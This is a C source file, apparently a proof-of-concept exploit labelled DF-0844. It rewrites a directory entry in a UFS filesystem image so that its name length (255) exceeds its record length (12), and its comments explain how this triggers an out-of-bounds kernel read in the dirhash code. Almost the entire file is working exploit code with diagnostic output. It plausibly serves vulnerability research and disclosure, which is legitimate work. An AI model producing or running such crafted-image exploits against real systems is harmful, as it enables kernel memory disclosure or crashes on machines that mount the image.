DF-0844 / dirhash_corrupt.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 | /* * DF-0844 โ Image corruptor v3: directly patches the last dir entry * in a UFS image to create a malformed entry where d_reclen < DIRSIZ. * * The patch sets the last legitimate entry's d_namlen=255 and reduces * d_reclen to the minimum that passes the chunk-bounds check (12 bytes, * aligned to DIRALIGN=4). This makes d_reclen(12) < DIRSIZ(255)=264, * which is the exact condition the dirhash code fails to check. * * The dirhash build loop will: * 1. Accept the entry (passes existing chunk check: 12 <= remaining) * 2. Call ufsdirhash_hash(ep->d_name, 255) โ reading 255 bytes from * d_name, which extends 243 bytes past the entry's d_reclen boundary * into adjacent directory data or past the buffer tail. * 3. Then advance by d_reclen=12 to the next "entry" position. * * Whether the build ultimately succeeds depends on what the adjacent * data looks like. But the OOB READ at step 2 is the vulnerability. * * Usage: ./dirhash_corrupt <image_file> */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <unistd.h> #include <fcntl.h> struct direct { uint32_t d_ino; uint16_t d_reclen; uint8_t d_type; uint8_t d_namlen; char d_name[256]; }; #define DIRECT_HDRSZ 8 #define DIRBLKSIZ 512 #define MAXNAMLEN 255 #define DIRALIGN 4 #define DIRECTSIZ(namlen) \ ((DIRECT_HDRSZ + ((namlen)+1) + 3) & ~3) int main(int argc, char **argv) { if (argc != 2) { fprintf(stderr, "Usage: %s <image>\n", argv[0]); return 2; } const char *imgpath = argv[1]; int fd = open(imgpath, O_RDWR); if (fd < 0) { perror("open"); return 2; } off_t imgsz = lseek(fd, 0, SEEK_END); lseek(fd, 0, SEEK_SET); char *img = malloc(imgsz); if (!img) { perror("malloc"); return 2; } if (read(fd, img, imgsz) != imgsz) { perror("read"); return 2; } close(fd); /* Find "file_0000" pattern to locate testdir */ const char *needle = "file_0000"; size_t nlen = strlen(needle); off_t name_off = -1; for (off_t i = 0; i + nlen < imgsz; i++) { if (img[i] == 'f' && memcmp(img + i, needle, nlen) == 0) { name_off = i; break; } } if (name_off < 0) { fprintf(stderr, "Pattern not found\n"); free(img); return 1; } /* Walk entries from the DIRBLKSIZ-aligned block start */ off_t entry_start = name_off - DIRECT_HDRSZ; off_t blk_start = (entry_start / DIRBLKSIZ) * DIRBLKSIZ; /* Walk ALL entries to find the last one with d_ino != 0 */ off_t pos = blk_start; off_t last_entry = -1; int nentries = 0; off_t dir_end = blk_start; while (pos + (off_t)sizeof(struct direct) <= imgsz) { struct direct *ep = (struct direct *)(img + pos); /* Stop on invalid entry */ if (ep->d_reclen == 0) break; if (ep->d_reclen < DIRECT_HDRSZ) break; if (ep->d_reclen > DIRBLKSIZ) break; /* Check chunk boundary */ int chunk_off = pos & (DIRBLKSIZ - 1); if (ep->d_reclen > (int)(DIRBLKSIZ - chunk_off)) break; if (ep->d_ino != 0) { last_entry = pos; } dir_end = pos + ep->d_reclen; nentries++; pos += ep->d_reclen; } if (last_entry < 0) { fprintf(stderr, "No valid entry found\n"); free(img); return 1; } struct direct *lep = (struct direct *)(img + last_entry); int chunk_off = last_entry & (DIRBLKSIZ - 1); int max_reclen = DIRBLKSIZ - chunk_off; printf("Directory at 0x%llx, %d entries, ends at 0x%llx\n", (long long)blk_start, nentries, (long long)dir_end); printf("Last entry at 0x%llx (chunk offset %d):\n", (long long)last_entry, chunk_off); printf(" BEFORE: ino=%u reclen=%u type=%u namlen=%u\n", lep->d_ino, lep->d_reclen, lep->d_type, lep->d_namlen); printf(" max reclen for this chunk position: %d\n", max_reclen); /* CORRUPT: set d_namlen=255 and d_reclen=12 (minimum aligned). * d_reclen=12 passes chunk check (12 <= max_reclen for any chunk_off <= 500). * DIRSIZ(255)=264 > 12=d_reclen โ MALFORMED (missing check). */ lep->d_namlen = MAXNAMLEN; lep->d_reclen = 12; /* minimum valid aligned reclen */ printf(" AFTER: ino=%u reclen=%u type=%u namlen=%u\n", lep->d_ino, lep->d_reclen, lep->d_type, lep->d_namlen); printf(" DIRSIZ(255) = %u > d_reclen(12) โ MALFORMED\n", (uint32_t)DIRECTSIZ(MAXNAMLEN)); /* Calculate OOB extent: d_name read = 255 bytes from (entry+8) */ off_t name_start = last_entry + DIRECT_HDRSZ; off_t name_end = name_start + MAXNAMLEN; printf(" d_name read: 0x%llx..0x%llx (%d bytes)\n", (long long)name_start, (long long)name_end, MAXNAMLEN); printf(" Entry boundary (d_reclen): 0x%llx..0x%llx\n", (long long)last_entry, (long long)(last_entry + 12)); printf(" OOB past d_reclen: %lld bytes into adjacent dir data\n", (long long)(name_end - (last_entry + 12))); /* Write back */ fd = open(imgpath, O_RDWR); if (fd < 0) { perror("open write"); free(img); return 2; } if (write(fd, img, imgsz) != imgsz) { perror("write"); close(fd); free(img); return 2; } close(fd); free(img); printf("\nCorruption complete.\n"); return 0; } |